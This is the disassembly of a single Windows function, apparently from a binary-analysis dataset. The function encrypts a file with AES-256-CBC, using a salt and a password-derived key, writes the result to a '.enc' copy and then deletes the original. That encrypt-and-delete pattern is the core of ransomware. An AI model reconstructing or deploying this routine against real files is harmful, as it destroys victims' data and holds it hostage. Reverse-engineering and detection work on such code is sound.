Function at 0x140001715
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rbx
mov eax, 0x11c8
call fcn.140003150
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1160], rcx
mov qword [rbp + 0x1168], rdx
mov rax, rsp
mov rbx, rax
mov rax, qword [rbp + 0x1160]
lea rdx, [0x14000c086]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1138], rax
cmp qword [rbp + 0x1138], 0
jne 0x140001780
lea rax, str.fopen__input_
mov rcx, rax
call sym.perror
mov eax, 0
jmp 0x140001c9b
mov rdx, qword [rbp + 0x1160]
lea rax, [rbp + 0x1000]
mov r9, rdx
lea r8, str._s.enc
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x1000]
lea rdx, [0x14000c09e]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1130], rax
cmp qword [rbp + 0x1130], 0
jne 0x1400017f4
lea rax, str.fopen__output_
mov rcx, rax
call sym.perror
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
lea rax, [rbp + 0xff0]
mov edx, 0x10
mov rcx, rax
call sym.RAND_bytes
cmp eax, 1
je 0x14000185f
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x1160]
mov r8, rax
lea rax, str.RAND_bytes_failed_for_file:__s_n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
mov rdx, qword [rbp + 0x1130]
lea rax, [rbp + 0xff0]
mov r9, rdx
mov r8d, 0x10
mov edx, 1
mov rcx, rax
call sym.fwrite
cmp rax, 0x10
je 0x1400018db
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, [rbp + 0x1000]
mov r8, rax
lea rax, str.Failed_to_write_salt_to_file:__s_n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
lea rax, [rbp + 0xfc0]
add rax, 0x20
lea r8, [rbp + 0xfc0]
lea rdx, [rbp + 0xff0]
mov rcx, qword [rbp + 0x1168]
mov r9, rax
call sym.derive_key_iv
test eax, eax
jne 0x14000192f
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
lea rax, [rbp + 0xfc0]
mov qword [rbp + 0x1128], rax
lea rax, [rbp + 0xfc0]
add rax, 0x20
mov qword [rbp + 0x1120], rax
call sym.EVP_CIPHER_CTX_new
mov qword [rbp + 0x1118], rax
cmp qword [rbp + 0x1118], 0
jne 0x1400019ad
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.EVP_CIPHER_CTX_new_failed._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
call sym.EVP_aes_256_cbc
mov rcx, rax
mov r8, qword [rbp + 0x1128]
mov rax, qword [rbp + 0x1118]
mov rdx, qword [rbp + 0x1120]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rcx
mov rcx, rax
call sym.EVP_EncryptInit_ex
cmp eax, 1
je 0x140001a3f
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.EVP_EncryptInit_ex_failed._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1118]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
call sym.EVP_aes_256_cbc
mov rcx, rax
call sym.EVP_CIPHER_get_block_size
add eax, 0x1000
movsxd rdx, eax
sub rdx, 1
mov qword [rbp + 0x1110], rdx
cdqe
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003150
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x1108], rax
jmp 0x140001b31
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x44]
mov rdx, qword [rbp + 0x1108]
mov rax, qword [rbp + 0x1118]
mov ecx, dword [rbp + 0x1104]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call sym.EVP_EncryptUpdate
cmp eax, 1
je 0x140001b0a
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.EVP_EncryptUpdate_failed._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1118]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
mov eax, dword [rbp - 0x44]
movsxd rdx, eax
mov rcx, qword [rbp + 0x1130]
mov rax, qword [rbp + 0x1108]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0x1138]
lea rax, [rbp - 0x40]
mov r9, rdx
mov r8d, 0x1000
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x1104], eax
cmp dword [rbp + 0x1104], 0
jg 0x140001a86
lea rcx, [rbp - 0x44]
mov rdx, qword [rbp + 0x1108]
mov rax, qword [rbp + 0x1118]
mov r8, rcx
mov rcx, rax
call sym.EVP_EncryptFinal_ex
cmp eax, 1
je 0x140001bde
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.EVP_EncryptFinal_ex_failed._n
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1118]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov eax, 0
jmp 0x140001c9b
mov eax, dword [rbp - 0x44]
movsxd rdx, eax
mov rcx, qword [rbp + 0x1130]
mov rax, qword [rbp + 0x1108]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x1118]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov rax, qword [rbp + 0x1138]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1130]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
test eax, eax
jne 0x140001c73
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x1160]
mov r8, rax
lea rax, str.Failed_to_delete_original_file:__s_n
mov rdx, rax
call sym.fprintf
lea rdx, [rbp + 0x1000]
mov rax, qword [rbp + 0x1160]
mov r8, rdx
mov rdx, rax
lea rax, str.Encrypted:__s_____s_n
mov rcx, rax
call sym.printf
mov eax, 1
mov rsp, rbx
lea rsp, [rbp + 0x1148]
pop rbx
pop rbp
ret